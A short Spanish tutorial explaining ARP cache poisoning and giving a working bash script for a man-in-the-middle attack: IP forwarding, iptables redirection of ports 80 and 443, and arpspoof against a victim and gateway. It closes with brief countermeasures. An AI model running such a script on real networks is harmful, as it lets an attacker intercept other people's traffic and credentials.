Ataque ARP Spoofing

El ataque ARP Spoofing o envenenamiento ARP es un ataque que se realiza en una LAN cuyo objetivo es suplantar a identidad de otro equipo, por ejemplo del gateway, vinculando la dirección MAC del atacante con la dirección IP a suplantar.

Este ataque se aprovecha del funcionamiento del Protocolo de Resolución de Direcciones ARP, quien es el responsable de encontrar la dirección MAC a una dirección IP correspondiente, para ello se envía un paquete (ARP request) a la dirección de difusión de la red (broadcast) que contiene la dirección IP por la que se pregunta, y se espera a que esa máquina (u otra) responda (ARP reply) con la dirección MAC que le corresponde.

Algo importante a tener en cuenta es que cada máquina mantiene una tabla caché con las direcciones traducidas para reducir el retardo y la carga.

El atacante envía mensajes falsificados ARP a su objetivo  que contienen respuestas falsas a preguntas no echas con la dirección IP que se dese suplantar, así el objetivo toma esta información y actualiza su caché con la información corrupta.

Una vez envenenado el atacante tiene acceso a los datos que se envían a esta IP y puede lanzar un ataque más sofisticado de seguimiento.

A continuación se muestra un sencillo script para realizar este ataque desde sistemas GNU/Linux.

#!/bin/bash
victima=$1
gateway=$2

echo $victima
echo $gateway

echo "1" > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8880
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port  8883

arpspoof -i wlp8s0 -t $victima $gateway
arpspoof -i wlp8s0 -t $gateway $victima

Las medidas recomendadas para la detección, prevención y protección contra ataques de suplantación  ARP son el filtrado de paquetes, utilización de software de detección de ARP Spoofing y utilizar protocolos de red criptográficos como HTTPS, SSH o TLS.